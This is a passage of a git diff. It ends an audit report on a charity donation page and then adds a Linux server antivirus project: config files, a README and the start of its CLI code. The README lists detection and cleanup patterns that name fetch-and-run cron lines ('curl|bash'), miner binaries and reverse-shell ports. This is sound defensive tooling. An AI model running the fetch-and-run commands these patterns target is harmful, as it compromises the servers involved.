overlay** — show inline error if Gift Aid is enabled but address fields are empty. +9. **Validate name/email before showing checkout overlay** — currently you can open the payment panel without entering name/email. +10. **Move OG image to `give.charityright.org.uk` CDN** — remove cross-domain WordPress dependency. +11. **Replace `href="#"` on Cookie Settings** with proper button element or `href="javascript:void(0)"`. +12. **Fix unlabelled input** — audit the 1 input missing both `aria-label` and `placeholder`. + +### 🟢 Low Priority +13. Add favicon to `give.charityright.org.uk`. +14. Add `<meta name="robots" content="index,follow">` explicitly. +15. Add skip-to-content link for keyboard/screen reader users. + +--- + +## Screenshots Captured + +| File | Description | +|------|-------------| +| `screenshots/cr-homepage.png` | Full page — sadaqah donation page at 1440×900 | +| `screenshots/cr-donation-form.png` | Full page after clicking "Give £6 Sadaqah" | +| `screenshots/cr-form-filled.png` | Checkout overlay with name/email filled | +| `screenshots/cr-form-ready.png` | Checkout overlay with full card details entered, Donate button enabled | +| `screenshots/cr-overlay-open.png` | Overlay state after form interaction | +| `screenshots/cr-mobile.png` | Full page at 375×812 mobile viewport | +| `screenshots/cr-zakat.png` | 404 page for /zakat | diff --git a/ayn-antivirus/.env.sample b/ayn-antivirus/.env.sample new file mode 100644 index 0000000..66fe057 --- /dev/null +++ b/ayn-antivirus/.env.sample @@ -0,0 +1,8 @@ +AYN_MALWAREBAZAAR_API_KEY= +AYN_VIRUSTOTAL_API_KEY= +AYN_SCAN_PATH=/ +AYN_QUARANTINE_PATH=/var/lib/ayn-antivirus/quarantine +AYN_DB_PATH=/var/lib/ayn-antivirus/signatures.db +AYN_LOG_PATH=/var/log/ayn-antivirus/ +AYN_AUTO_QUARANTINE=false +AYN_SCAN_SCHEDULE=0 2 * * * diff --git a/ayn-antivirus/.gitignore b/ayn-antivirus/.gitignore new file mode 100644 index 0000000..0f2d571 --- /dev/null +++ b/ayn-antivirus/.gitignore @@ -0,0 +1,11 @@ +__pycache__ +*.pyc +.env +*.db +dist/ +build/ +*.egg-info +ayn_antivirus/signatures/yara_rules/*.yar +/quarantine_vault/ +.pytest_cache +.coverage diff --git a/ayn-antivirus/Makefile b/ayn-antivirus/Makefile new file mode 100644 index 0000000..2e3b71c --- /dev/null +++ b/ayn-antivirus/Makefile @@ -0,0 +1,25 @@ +.PHONY: install dev-install test lint scan update-sigs clean + +install: + pip install . + +dev-install: + pip install -e ".[dev]" + +test: + pytest --cov=ayn_antivirus tests/ + +lint: + ruff check ayn_antivirus/ + black --check ayn_antivirus/ + +scan: + ayn-antivirus scan + +update-sigs: + ayn-antivirus update + +clean: + rm -rf build/ dist/ *.egg-info .pytest_cache .coverage + find . -type d -name __pycache__ -exec rm -rf {} + + find . -type f -name '*.pyc' -delete diff --git a/ayn-antivirus/README.md b/ayn-antivirus/README.md new file mode 100644 index 0000000..5474603 --- /dev/null +++ b/ayn-antivirus/README.md @@ -0,0 +1,574 @@ +<p align="center"> +<pre> +██████╗ ██╗ ██╗███╗ ██╗ +██╔══██╗╚██╗ ██╔╝████╗ ██║ +███████║ ╚████╔╝ ██╔██╗ ██║ +██╔══██║ ╚██╔╝ ██║╚██╗██║ +██║ ██║ ██║ ██║ ╚████║ +╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ +⚔️ AYN ANTIVIRUS v1.0.0 ⚔️ +Server Protection Suite +</pre> +</p> + +<p align="center"> + <a href="https://www.python.org/downloads/"><img src="https://img.shields.io/badge/python-3.9%2B-blue?style=for-the-badge&logo=python&logoColor=white" alt="Python 3.9+"></a> + <a href="#license"><img src="https://img.shields.io/badge/license-MIT-green?style=for-the-badge" alt="License: MIT"></a> + <a href="#"><img src="https://img.shields.io/badge/platform-linux-lightgrey?style=for-the-badge&logo=linux&logoColor=white" alt="Platform: Linux"></a> + <a href="#"><img src="https://img.shields.io/badge/version-1.0.0-orange?style=for-the-badge" alt="Version 1.0.0"></a> +</p> + +--- + +# AYN Antivirus + +**Comprehensive anti-virus, anti-malware, anti-spyware, and anti-cryptominer protection for Linux servers.** + +AYN Antivirus is a purpose-built security suite designed for server environments. It combines signature-based detection, YARA rules, heuristic analysis, and live system inspection to catch threats that traditional AV tools miss — from cryptominers draining your CPU to rootkits hiding in kernel modules. + +--- + +## Features + +- 🛡️ **Real-time file system monitoring** — watches directories with inotify/FSEvents via watchdog, scans new and modified files instantly +- 🔍 **Deep file scanning with multiple detection engines** — parallel, multi-threaded scans across signature, YARA, and heuristic detectors +- 🧬 **YARA rule support** — load custom and community YARA rules for flexible pattern matching +- 📊 **Heuristic analysis** — Shannon entropy scoring, obfuscation detection, reverse-shell patterns, permission anomalies +- ⛏️ **Cryptominer detection** — process-level, network-level, and file-content analysis (stratum URLs, wallet addresses, pool domains) +- 🕵️ **Spyware & keylogger detection** — identifies keyloggers, screen/audio capture tools, data exfiltration, and shell-profile backdoors +- 🦠 **Rootkit detection** — hidden processes, hidden kernel modules, LD_PRELOAD hijacking, tampered logs, hidden network ports +- 🌐 **Auto-updating threat signatures** — pulls from abuse.ch feeds (MalwareBazaar, ThreatFox, URLhaus, Feodo Tracker) and Emerging Threats +- 🔒 **Encrypted quarantine vault** — isolates malicious files with Fernet (AES-128-CBC + HMAC-SHA256) encryption and JSON metadata +- 🔧 **Auto-remediation & patching** — kills rogue processes, fixes permissions, blocks IPs/domains, cleans cron jobs, restores system binaries +- 📝 **Reports in Text, JSON, HTML** — generate human-readable or machine-parseable reports from scan results +- ⏰ **Scheduled scanning** — built-in cron-style scheduler for unattended operation + +--- + +## Quick Start + +```bash +# Install +pip install . + +# Update threat signatures +sudo ayn-antivirus update + +# Run a full scan +sudo ayn-antivirus scan + +# Quick scan (high-risk dirs only) +sudo ayn-antivirus scan --quick + +# Check protection status +ayn-antivirus status +``` + +--- + +## Installation + +### From pip (local) + +```bash +pip install . +``` + +### Editable install (development) + +```bash +pip install -e ".[dev]" +``` + +### From source with Make + +```bash +make install # production +make dev-install # development (includes pytest, black, ruff) +``` + +### System dependencies + +AYN uses [yara-python](https://github.com/VirusTotal/yara-python) for rule-based detection. On most systems pip handles this automatically, but you may need the YARA C library: + +| Distro | Command | +|---|---| +| **Debian / Ubuntu** | `sudo apt install yara libyara-dev` | +| **RHEL / CentOS / Fedora** | `sudo dnf install yara yara-devel` | +| **Arch** | `sudo pacman -S yara` | +| **macOS (Homebrew)** | `brew install yara` | + +After the system library is installed, `pip install yara-python` (or `pip install .`) will link against it. + +--- + +## Usage + +All commands accept `--verbose` / `-v` for detailed output and `--config <path>` to load a custom YAML config file. + +### File System Scanning + +```bash +# Full scan — all configured paths +sudo ayn-antivirus scan + +# Quick scan — /tmp, /var/tmp, /dev/shm, crontabs +sudo ayn-antivirus scan --quick + +# Deep scan — includes memory and hidden artifacts +sudo ayn-antivirus scan --deep + +# Scan a single file +ayn-antivirus scan --file /tmp/suspicious.bin + +# Targeted path with exclusions +sudo ayn-antivirus scan --path /home --exclude '*.log' --exclude '*.gz' +``` + +### Process Scanning + +```bash +# Scan running processes for miners & suspicious CPU usage +sudo ayn-antivirus scan-processes +``` + +Checks every running process against known miner names (xmrig, minerd, ethminer, etc.) and flags anything above the CPU threshold (default 80%). + +### Network Scanning + +```bash +# Inspect active connections for mining pool traffic +sudo ayn-antivirus scan-network +``` + +Compares remote addresses against known mining pool domains and suspicious ports (3333, 4444, 5555, 14444, etc.). + +### Update Signatures + +```bash +# Fetch latest threat intelligence from all feeds +sudo ayn-antivirus update + +# Force re-download even if signatures are fresh +sudo ayn-antivirus update --force +``` + +### Quarantine Management + +```bash +# List quarantined items +ayn-antivirus quarantine list + +# View details of a quarantined item +ayn-antivirus quarantine info 1 + +# Restore a quarantined file to its original location +sudo ayn-antivirus quarantine restore 1 + +# Permanently delete a quarantined item +ayn-antivirus quarantine delete 1 +``` + +### Real-Time Monitoring + +```bash +# Watch configured paths in the foreground (Ctrl+C to stop) +sudo ayn-antivirus monitor + +# Watch specific paths +sudo ayn-antivirus monitor --paths /var/www --paths /tmp + +# Run as a background daemon +sudo ayn-antivirus monitor --daemon +``` + +### Report Generation + +```bash +# Plain text report to stdout +ayn-antivirus report + +# JSON report to a file +ayn-antivirus report --format json --output /tmp/report.json + +# HTML report +ayn-antivirus report --format html --output report.html +``` + +### Auto-Fix / Remediation + +```bash +# Preview all remediation actions (no changes) +sudo ayn-antivirus fix --all --dry-run + +# Apply all remediations +sudo ayn-antivirus fix --all + +# Fix a specific threat by ID +sudo ayn-antivirus fix --threat-id 3 +``` + +### Status Check + +```bash +# View protection status at a glance +ayn-antivirus status +``` + +Displays signature freshness, last scan time, quarantine count, real-time monitor state, and engine toggles. + +### Configuration + +```bash +# Show active configuration +ayn-antivirus config + +# Set a config value (persisted to ~/.ayn-antivirus/config.yaml) +ayn-antivirus config --set auto_quarantine true +ayn-antivirus config --set scan_schedule '0 3 * * *' +``` + +--- + +## Configuration + +### Config file locations + +AYN loads configuration from the first file found (in order): + +| Priority | Path | +|---|---| +| 1 | Explicit `--config <path>` flag | +| 2 | `/etc/ayn-antivirus/config.yaml` | +| 3 | `~/.ayn-antivirus/config.yaml` | + +### Config file options + +```yaml +# Directories to scan +scan_paths: + - / +exclude_paths: + - /proc + - /sys + - /dev + - /run + - /snap + +# Storage +quarantine_path: /var/lib/ayn-antivirus/quarantine +db_path: /var/lib/ayn-antivirus/signatures.db +log_path: /var/log/ayn-antivirus/ + +# Behavior +auto_quarantine: false +scan_schedule: "0 2 * * *" +max_file_size: 104857600 # 100 MB + +# Engines +enable_yara: true +enable_heuristics: true +enable_realtime_monitor: false + +# API keys (optional) +api_keys: + malwarebazaar: "" + virustotal: "" +``` + +### Environment variables + +Environment variables override config file values. Copy `.env.sample` to `.env` and populate as needed. + +| Variable | Description | Default | +|---|---|---| +| `AYN_SCAN_PATH` | Comma-separated scan paths | `/` | +| `AYN_QUARANTINE_PATH` | Quarantine vault directory | `/var/lib/ayn-antivirus/quarantine` | +| `AYN_DB_PATH` | Signature database path | `/var/lib/ayn-antivirus/signatures.db` | +| `AYN_LOG_PATH` | Log directory | `/var/log/ayn-antivirus/` | +| `AYN_AUTO_QUARANTINE` | Auto-quarantine on detection (`true`/`false`) | `false` | +| `AYN_SCAN_SCHEDULE` | Cron expression for scheduled scans | `0 2 * * *` | +| `AYN_MAX_FILE_SIZE` | Max file size to scan (bytes) | `104857600` | +| `AYN_MALWAREBAZAAR_API_KEY` | MalwareBazaar API key | — | +| `AYN_VIRUSTOTAL_API_KEY` | VirusTotal API key | — | + +--- + +## Threat Intelligence Feeds + +AYN aggregates indicators from multiple open-source threat intelligence feeds: + +| Feed | Source | Data Type | +|---|---|---| +| **MalwareBazaar** | [bazaar.abuse.ch](https://bazaar.abuse.ch) | Malware sample hashes (SHA-256) | +| **ThreatFox** | [threatfox.abuse.ch](https://threatfox.abuse.ch) | IOCs — IPs, domains, URLs | +| **URLhaus** | [urlhaus.abuse.ch](https://urlhaus.abuse.ch) | Malware distribution URLs | +| **Feodo Tracker** | [feodotracker.abuse.ch](https://feodotracker.abuse.ch) | Botnet C2 IP addresses | +| **Emerging Threats** | [rules.emergingthreats.net](https://rules.emergingthreats.net) | Suricata / Snort IOCs | +| **YARA Rules** | Community & custom | Pattern-matching rules (`signatures/yara_rules/`) | + +Signatures are stored in a local SQLite database (`signatures.db`) with separate tables for hashes, IPs, domains, and URLs. Run `ayn-antivirus update` to pull the latest data. + +--- + +## Architecture + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ CLI (cli.py) │ +│ Click commands + Rich UI │ +└───────────────────────────────┬─────────────────────────────────┘ + │ + ┌───────────▼───────────┐ + │ Core Scan Engine │ + │ (core/engine.py) │ + └───┬────┬────┬────┬───┘ + │ │ │ │ + ┌─────────────┘ │ │ └─────────────┐ + ▼ ▼ ▼ ▼ + ┌─────────────────┐ ┌──────────────┐ ┌──────────────────────┐ + │ Detectors │ │ Scanners │ │ Monitor │ + │ ┌─────────────┐ │ │ ┌──────────┐ │ │ ┌──────────────────┐ │ + │ │ Signature │ │ │ │ File │ │ │ │ Real-time │ │ + │ │ YARA │ │ │ │ Process │ │ │ │ (watchdog) │ │ + │ │ Heuristic │ │ │ │ Network │ │ │ └──────────────────┘ │ + │ │ Cryptominer │ │ │ │ Memory │ │ └──────────────────────┘ + │ │ Spyware │ │ │ └──────────┘ │ + │ │ Rootkit │ │ └──────────────┘ + │ └─────────────┘ │ + └─────────────────┘ + │ ┌──────────────────────┐ + │ ┌───────────────────┐ │ Signatures │ + └───►│ Event Bus │ │ ┌──────────────────┐ │ + │ (core/event_bus) │ │ │ Feed Manager │ │ + └──────┬────────────┘ │ │ Hash DB │ │ + │ │ │ IOC DB │ │ + ┌──────────┼──────────┐ │ │ YARA Rules │ │ + ▼ ▼ ▼ │ └──────────────────┘ │ + ┌────────────┐ ┌────────┐ ┌───────┐ └──────────────────────┘ + │ Quarantine │ │Reports │ │Remedy │ + │ Vault │ │ Gen. │ │Patcher│ + │ (Fernet) │ │txt/json│ │ │ + │ │ │ /html │ │ │ + └────────────┘ └────────┘ └───────┘ +``` + +### Module summary + +| Module | Path | Responsibility | +|---|---|---| +| **CLI** | `cli.py` | User-facing commands (Click + Rich) | +| **Config** | `config.py` | YAML & env-var configuration loader | +| **Engine** | `core/engine.py` | Orchestrates file/process/network scans | +| **Event Bus** | `core/event_bus.py` | Internal pub/sub for scan events | +| **Scheduler** | `core/scheduler.py` | Cron-based scheduled scans | +| **Detectors** | `detectors/` | Pluggable detection engines (signature, YARA, heuristic, cryptominer, spyware, rootkit) | +| **Scanners** | `scanners/` | File, process, network, and memory scanners | +| **Monitor** | `monitor/realtime.py` | Watchdog-based real-time file watcher | +| **Quarantine** | `quarantine/vault.py` | Fernet-encrypted file isolation vault | +| **Remediation** | `remediation/patcher.py` | Auto-fix engine (kill, block, clean, restore) | +| **Reports** | `reports/generator.py` | Text, JSON, and HTML report generation | +| **Signatures** | `signatures/` | Feed fetchers, hash DB, IOC DB, YARA rules | + +--- + +## Auto-Patching Capabilities + +The remediation engine (`ayn-antivirus fix`) can automatically apply the following fixes: + +| Action | Description | +|---|---| +| **Fix permissions** | Strips SUID, SGID, and world-writable bits from compromised files | +| **Kill processes** | Sends SIGKILL to confirmed malicious processes (miners, reverse shells) | +| **Block IPs** | Adds `iptables` DROP rules for C2 and mining pool IP addresses | +| **Block domains** | Redirects malicious domains to `127.0.0.1` via `/etc/hosts` | +| **Clean cron jobs** | Removes entries matching suspicious patterns (curl\|bash, xmrig, etc.) | +| **Fix LD_PRELOAD** | Clears `/etc/ld.so.preload` entries injected by rootkits | +| **Clean SSH keys** | Removes `command=` forced-command entries from `authorized_keys` | +| **Remove startup entries** | Strips malicious lines from init scripts, systemd units, and `rc.local` | +| **Restore binaries** | Reinstalls tampered system binaries via `apt`/`dnf`/`yum` package manager | + +> **Tip:** Always run with `--dry-run` first to preview changes before applying. + +--- + +## Running as a Service + +Create a systemd unit to run AYN as a persistent real-time monitor: + +```ini +# /etc/systemd/system/ayn-antivirus.service +[Unit] +Description=AYN Antivirus Real-Time Monitor +After=network.target + +[Service] +Type=simple +ExecStart=/usr/local/bin/ayn-antivirus monitor --daemon +ExecReload=/bin/kill -HUP $MAINPID +Restart=on-failure +RestartSec=10 +User=root +Group=root + +# Hardening +ProtectSystem=strict +ReadWritePaths=/var/lib/ayn-antivirus /var/log/ayn-antivirus +NoNewPrivileges=false +PrivateTmp=true + +[Install] +WantedBy=multi-user.target +``` + +```bash +# Enable and start +sudo systemctl daemon-reload +sudo systemctl enable ayn-antivirus +sudo systemctl start ayn-antivirus + +# Check status +sudo systemctl status ayn-antivirus + +# View logs +sudo journalctl -u ayn-antivirus -f +``` + +Optionally add a timer unit for scheduled signature updates: + +```ini +# /etc/systemd/system/ayn-antivirus-update.timer +[Unit] +Description=AYN Antivirus Signature Update Timer + +[Timer] +OnCalendar=*-*-* 02:00:00 +Persistent=true + +[Install] +WantedBy=timers.target +``` + +```ini +# /etc/systemd/system/ayn-antivirus-update.service +[Unit] +Description=AYN Antivirus Signature Update + +[Service] +Type=oneshot +ExecStart=/usr/local/bin/ayn-antivirus update +User=root +``` + +```bash +sudo systemctl enable --now ayn-antivirus-update.timer +``` + +--- + +## Development + +### Prerequisites + +- Python 3.9+ +- [YARA](https://virustotal.github.io/yara/) C library (for yara-python) + +### Setup + +```bash +git clone <repo-url> +cd ayn-antivirus +pip install -e ".[dev]" +``` + +### Run tests + +```bash +make test +# or directly: +pytest --cov=ayn_antivirus tests/ +``` + +### Lint & format + +```bash +make lint +# or directly: +ruff check ayn_antivirus/ +black --check ayn_antivirus/ +``` + +### Auto-format + +```bash +black ayn_antivirus/ +``` + +### Project layout + +``` +ayn-antivirus/ +├── ayn_antivirus/ +│ ├── __init__.py # Package version +│ ├── __main__.py # python -m ayn_antivirus entry point +│ ├── cli.py # Click CLI commands +│ ├── config.py # Configuration loader +│ ├── constants.py # Thresholds, paths, known indicators +│ ├── core/ +│ │ ├── engine.py # Scan engine orchestrator +│ │ ├── event_bus.py # Internal event system +│ │ └── scheduler.py # Cron-based scheduler +│ ├── detectors/ +│ │ ├── base.py # BaseDetector ABC + DetectionResult +│ │ ├── signature_detector.py +│ │ ├── yara_detector.py +│ │ ├── heuristic_detector.py +│ │ ├── cryptominer_detector.py +│ │ ├── spyware_detector.py +│ │ └── rootkit_detector.py +│ ├── scanners/ +│ │ ├── file_scanner.py +│ │ ├── process_scanner.py +│ │ ├── network_scanner.py +│ │ └── memory_scanner.py +│ ├── monitor/ +│ │ └── realtime.py # Watchdog-based file watcher +│ ├── quarantine/ +│ │ └── vault.py # Fernet-encrypted quarantine +│ ├── remediation/ +│ │ └── patcher.py # Auto-fix engine +│ ├── reports/ +│ │ └── generator.py # Report output (text/json/html) +│ ├── signatures/ +│ │ ├── manager.py # Feed orchestrator +│ │ ├── db/ # Hash DB + IOC DB (SQLite) +│ │ ├── feeds/ # Feed fetchers (abuse.ch, ET, etc.) +│ │ └── yara_rules/ # .yar rule files +│ └── utils/ +│ ├── helpers.py +│ └── logger.py +├── tests/ # pytest test suite +├── pyproject.toml # Build config & dependencies +├── Makefile # Dev shortcuts +├── .env.sample # Environment variable template +└── README.md +``` + +### Contributing + +1. Fork the repo and create a feature branch +2. Write tests for new functionality +3. Ensure `make lint` and `make test` pass +4. Submit a pull request + +--- + +## License + +This project is licensed under the **MIT License**. See [LICENSE](LICENSE) for details. + +--- + +<p align="center"> + <strong>⚔️ Stay protected. Stay vigilant. ⚔️</strong> +</p> diff --git a/ayn-antivirus/ayn_antivirus/__init__.py b/ayn-antivirus/ayn_antivirus/__init__.py new file mode 100644 index 0000000..1f356cc --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/__init__.py @@ -0,0 +1 @@ +__version__ = '1.0.0' diff --git a/ayn-antivirus/ayn_antivirus/__main__.py b/ayn-antivirus/ayn_antivirus/__main__.py new file mode 100644 index 0000000..c1dd09f --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/__main__.py @@ -0,0 +1,4 @@ +from ayn_antivirus.cli import main + +if __name__ == "__main__": + main() diff --git a/ayn-antivirus/ayn_antivirus/cli.py b/ayn-antivirus/ayn_antivirus/cli.py new file mode 100644 index 0000000..4e6fcf1 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/cli.py @@ -0,0 +1,1252 @@ +"""AYN Antivirus — CLI interface. + +Main entry point for all user-facing commands. Built with Click and Rich. +""" + +from __future__ import annotations + +import json +import sys +import time +from datetime import datetime +from pathlib import Path +from typing import Optional + +import click +from rich.console import Console +from rich.panel import Panel +from rich.progress import ( + BarColumn, + MofNCompleteColumn, + Progress, + SpinnerColumn, + TextColumn, + TimeElapsedColumn, + TimeRemainingColumn, +) +from rich.table import Table +from rich.text import Text +from rich import box + +from ayn_antivirus import __version__ +from ayn_antivirus.config import Config +from ayn_antivirus.constants import ( + DEFAULT_DB_PATH, + DEFAULT_LOG_PATH, + DEFAULT_QUARANTINE_PATH, + DEFAULT_SCAN_PATH, + HIGH_CPU_THRESHOLD, +) +from ayn_antivirus.utils.helpers import format_size, format_duration + +# --------------------------------------------------------------------------- +# Console singletons +# --------------------------------------------------------------------------- +console = Console(stderr=True) +out = Console() + +# --------------------------------------------------------------------------- +# Severity helpers +# --------------------------------------------------------------------------- +SEVERITY_STYLES = { + "CRITICAL": "bold red", + "HIGH": "bold yellow", + "MEDIUM": "bold blue", + "LOW": "bold green", +} + + +def severity_text(level: str) -> Text: + """Return a Rich Text object coloured by severity.""" + return Text(level, style=SEVERITY_STYLES.get(level.upper(), "white")) + + +# --------------------------------------------------------------------------- +# Banner +# --------------------------------------------------------------------------- +BANNER = r""" +[bold cyan] ██████╗ ██╗ ██╗███╗ ██╗ + ██╔══██╗╚██╗ ██╔╝████╗ ██║ + ███████║ ╚████╔╝ ██╔██╗ ██║ + ██╔══██║ ╚██╔╝ ██║╚██╗██║ + ██║ ██║ ██║ ██║ ╚████║ + ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝[/bold cyan] +[bold white] ⚔️ AYN ANTIVIRUS v{version} ⚔️[/bold white] +[dim] Server Protection Suite[/dim] +""".strip() + + +def print_banner() -> None: + """Print the AYN ASCII banner.""" + console.print() + console.print(BANNER.format(version=__version__)) + console.print() + + +# --------------------------------------------------------------------------- +# Progress bar factory +# --------------------------------------------------------------------------- +def make_progress(**kwargs) -> Progress: + """Return a pre-configured Rich progress bar.""" + return Progress( + SpinnerColumn(), + TextColumn("[bold blue]{task.description}"), + BarColumn(bar_width=40), + MofNCompleteColumn(), + TimeElapsedColumn(), + TimeRemainingColumn(), + console=console, + **kwargs, + ) + + +# --------------------------------------------------------------------------- +# Root group +# --------------------------------------------------------------------------- +@click.group(invoke_without_command=True) +@click.option( + "--config", + "config_path", + type=click.Path(exists=True, dir_okay=False), + default=None, + help="Path to a YAML configuration file.", +) +@click.option("--verbose", "-v", is_flag=True, help="Enable verbose output.") +@click.version_option(version=__version__, prog_name="ayn-antivirus") +@click.pass_context +def main(ctx: click.Context, config_path: Optional[str], verbose: bool) -> None: + """AYN Antivirus — Comprehensive server protection suite. + + Anti-malware · Anti-spyware · Anti-cryptominer · Rootkit detection + """ + ctx.ensure_object(dict) + ctx.obj = Config.load(config_path) + ctx.obj._verbose = verbose # type: ignore[attr-defined] + + if ctx.invoked_subcommand is None: + print_banner() + click.echo(ctx.get_help()) + + +# =================================================================== +# scan +# =================================================================== +@main.command() +@click.option( + "--path", + "scan_path", + type=click.Path(exists=True), + default=None, + help="Target path to scan (default: configured scan paths).", +) +@click.option("--quick", is_flag=True, help="Quick scan — critical directories only.") +@click.option("--deep", is_flag=True, help="Deep scan — includes memory and hidden artifacts.") +@click.option( + "--file", + "single_file", + type=click.Path(exists=True, dir_okay=False), + default=None, + help="Scan a single file.", +) +@click.option( + "--exclude", + multiple=True, + help="Glob pattern(s) to exclude from the scan.", +) +@click.pass_obj +def scan( + cfg: Config, + scan_path: Optional[str], + quick: bool, + deep: bool, + single_file: Optional[str], + exclude: tuple, +) -> None: + """Run a file-system threat scan. + + By default, all configured scan paths are checked. Use --quick for a fast + pass over /tmp, /var/tmp, /dev/shm, and crontabs, or --deep to also inspect + running process memory regions. + + \b + Examples + -------- + ayn-antivirus scan + ayn-antivirus scan --path /home --exclude '*.log' + ayn-antivirus scan --quick + ayn-antivirus scan --file /tmp/suspicious.bin + """ + from ayn_antivirus.core.engine import ScanEngine, FileScanResult + + print_banner() + + if quick and deep: + console.print("[red]Error:[/red] --quick and --deep are mutually exclusive.") + raise SystemExit(1) + + engine = ScanEngine(cfg) + + # Determine scan mode label + if single_file: + mode = "single-file" + targets = [single_file] + elif quick: + mode = "quick" + targets = ["/tmp", "/var/tmp", "/dev/shm", "/var/spool/cron", "/etc/cron.d"] + elif scan_path: + mode = "targeted" + targets = [scan_path] + else: + mode = "deep" if deep else "full" + targets = cfg.scan_paths + + exclude_patterns = list(exclude) + cfg.exclude_paths + + console.print( + Panel( + f"[bold]Mode:[/bold] {mode}\n" + f"[bold]Targets:[/bold] {', '.join(targets)}\n" + f"[bold]Exclude:[/bold] {', '.join(exclude_patterns) or '(none)'}\n" + f"[bold]YARA:[/bold] {'enabled' if cfg.enable_yara else 'disabled'}\n" + f"[bold]Heuristics:[/bold] {'enabled' if cfg.enable_heuristics else 'disabled'}", + title="[bold cyan]Scan Configuration[/bold cyan]", + border_style="cyan", + ) + ) + + # --- Single file scan --- + if single_file: + console.print() + with make_progress(transient=True) as progress: + task = progress.add_task("Scanning file…", total=1) + result = engine.scan_file(single_file) + progress.advance(task) + + if result.threats: + _print_threat_table_from_engine(result.threats) + _print_scan_summary( + scanned=1 if result.scanned else 0, + errors=1 if result.error else 0, + threat_count=len(result.threats), + elapsed=0.0, + ) + return + + # --- Quick scan --- + if quick: + console.print() + start = time.monotonic() + scan_result = engine.quick_scan( + callback=lambda _fr: None, + ) + elapsed = time.monotonic() - start + + if scan_result.threats: + _print_threat_table_from_engine(scan_result.threats) + _print_scan_summary( + scanned=scan_result.files_scanned, + errors=scan_result.files_skipped, + threat_count=len(scan_result.threats), + elapsed=elapsed, + ) + return + + # --- Path / full scan --- + console.print() + all_threats = [] + total_scanned = 0 + total_skipped = 0 + start = time.monotonic() + + for target in targets: + tp = Path(target) + if not tp.exists(): + console.print(f"[yellow]⚠ Path does not exist:[/yellow] {target}") + continue + + scan_result = engine.scan_path(target, recursive=True, quick=False) + total_scanned += scan_result.files_scanned + total_skipped += scan_result.files_skipped + all_threats.extend(scan_result.threats) + + elapsed = time.monotonic() - start + + if all_threats: + _print_threat_table_from_engine(all_threats) + _print_scan_summary( + scanned=total_scanned, + errors=total_skipped, + threat_count=len(all_threats), + elapsed=elapsed, + ) + + +def _print_scan_summary( + scanned: int, errors: int, threat_count: int, elapsed: float +) -> None: + """Render the post-scan summary panel.""" + status_colour = "green" if threat_count == 0 else "red" + status_icon = "✅" if threat_count == 0 else "🚨" + + lines = [ + f"[bold]Files scanned:[/bold] {scanned}", + f"[bold]Errors:[/bold] {errors}", + f"[bold]Threats found:[/bold] [{status_colour}]{threat_count}[/{status_colour}]", + f"[bold]Elapsed:[/bold] {format_duration(elapsed)}", + ] + + console.print() + console.print( + Panel( + "\n".join(lines), + title=f"{status_icon} [bold {status_colour}]Scan Complete[/bold {status_colour}]", + border_style=status_colour, + ) + ) + + +def _print_threat_table_from_engine(threats: list) -> None: + """Render a table of ThreatInfo objects from the engine.""" + table = Table( + title="Threats Detected", + box=box.ROUNDED, + show_lines=True, + title_style="bold red", + ) + table.add_column("#", style="dim", width=4) + table.add_column("Severity", width=10) + table.add_column("File", style="cyan", max_width=60) + table.add_column("Threat", style="white") + table.add_column("Type", style="dim") + table.add_column("Detector", style="dim") + + for idx, t in enumerate(threats, 1): + sev = t.severity.name if hasattr(t.severity, "name") else str(t.severity) + ttype = t.threat_type.name if hasattr(t.threat_type, "name") else str(t.threat_type) + table.add_row( + str(idx), + severity_text(sev), + t.path, + t.threat_name, + ttype, + t.detector_name, + ) + + console.print() + console.print(table) + + +# =================================================================== +# scan-processes +# =================================================================== +@main.command("scan-processes") +@click.pass_obj +def scan_processes(cfg: Config) -> None: + """Scan running processes for malware, miners, and suspicious activity. + + Inspects process names, command lines, CPU usage, and open network + connections against known cryptominer signatures and heuristics. + """ + from ayn_antivirus.core.engine import ScanEngine + + print_banner() + + console.print( + Panel( + "[bold]Checking running processes…[/bold]", + title="[bold cyan]Process Scanner[/bold cyan]", + border_style="cyan", + ) + ) + + engine = ScanEngine(cfg) + + with make_progress(transient=True) as progress: + task = progress.add_task("Scanning processes…", total=None) + result = engine.scan_processes() + progress.update(task, total=result.processes_scanned, completed=result.processes_scanned) + + if not result.threats: + console.print( + Panel( + f"[green]Scanned {result.processes_scanned} processes — no threats.[/green]", + title="✅ [bold green]All Clear[/bold green]", + border_style="green", + ) + ) + return + + table = Table( + title="Suspicious Processes", + box=box.ROUNDED, + show_lines=True, + title_style="bold red", + ) + table.add_column("PID", style="dim", width=8) + table.add_column("Severity", width=10) + table.add_column("Process", style="cyan") + table.add_column("CPU %", style="white", justify="right") + table.add_column("Details", style="white", max_width=50) + + for t in result.threats: + sev = t.severity.name if hasattr(t.severity, "name") else str(t.severity) + table.add_row( + str(t.pid), + severity_text(sev), + t.name, + f"{t.cpu_percent:.1f}%", + t.details, + ) + + console.print() + console.print(table) + console.print( + f"\n[bold red]🚨 {len(result.threats)} suspicious process(es) found.[/bold red]" + ) + + +# =================================================================== +# scan-network +# =================================================================== +@main.command("scan-network") +@click.pass_obj +def scan_network(cfg: Config) -> None: + """Scan active network connections for suspicious activity. + + Checks for connections to known mining pools, suspicious ports, and + unexpected outbound traffic patterns. + """ + from ayn_antivirus.core.engine import ScanEngine + + print_banner() + + console.print( + Panel( + "[bold]Inspecting network connections…[/bold]", + title="[bold cyan]Network Scanner[/bold cyan]", + border_style="cyan", + ) + ) + + engine = ScanEngine(cfg) + + with make_progress(transient=True) as progress: + task = progress.add_task("Analysing connections…", total=None) + result = engine.scan_network() + progress.update(task, total=result.connections_scanned, completed=result.connections_scanned) + + if not result.threats: + console.print( + Panel( + f"[green]Scanned {result.connections_scanned} connections — no threats.[/green]", + title="✅ [bold green]Network Clear[/bold green]", + border_style="green", + ) + ) + return + + table = Table( + title="Suspicious Connections", + box=box.ROUNDED, + show_lines=True, + title_style="bold red", + ) + table.add_column("PID", style="dim", width=8) + table.add_column("Severity", width=10) + table.add_column("Local", style="cyan") + table.add_column("Remote", style="red") + table.add_column("Process", style="white") + table.add_column("Details", style="white", max_width=45) + + for t in result.threats: + sev = t.severity.name if hasattr(t.severity, "name") else str(t.severity) + table.add_row( + str(t.pid or "?"), + severity_text(sev), + t.local_addr, + t.remote_addr, + t.process_name, + t.details, + ) + + console.print() + 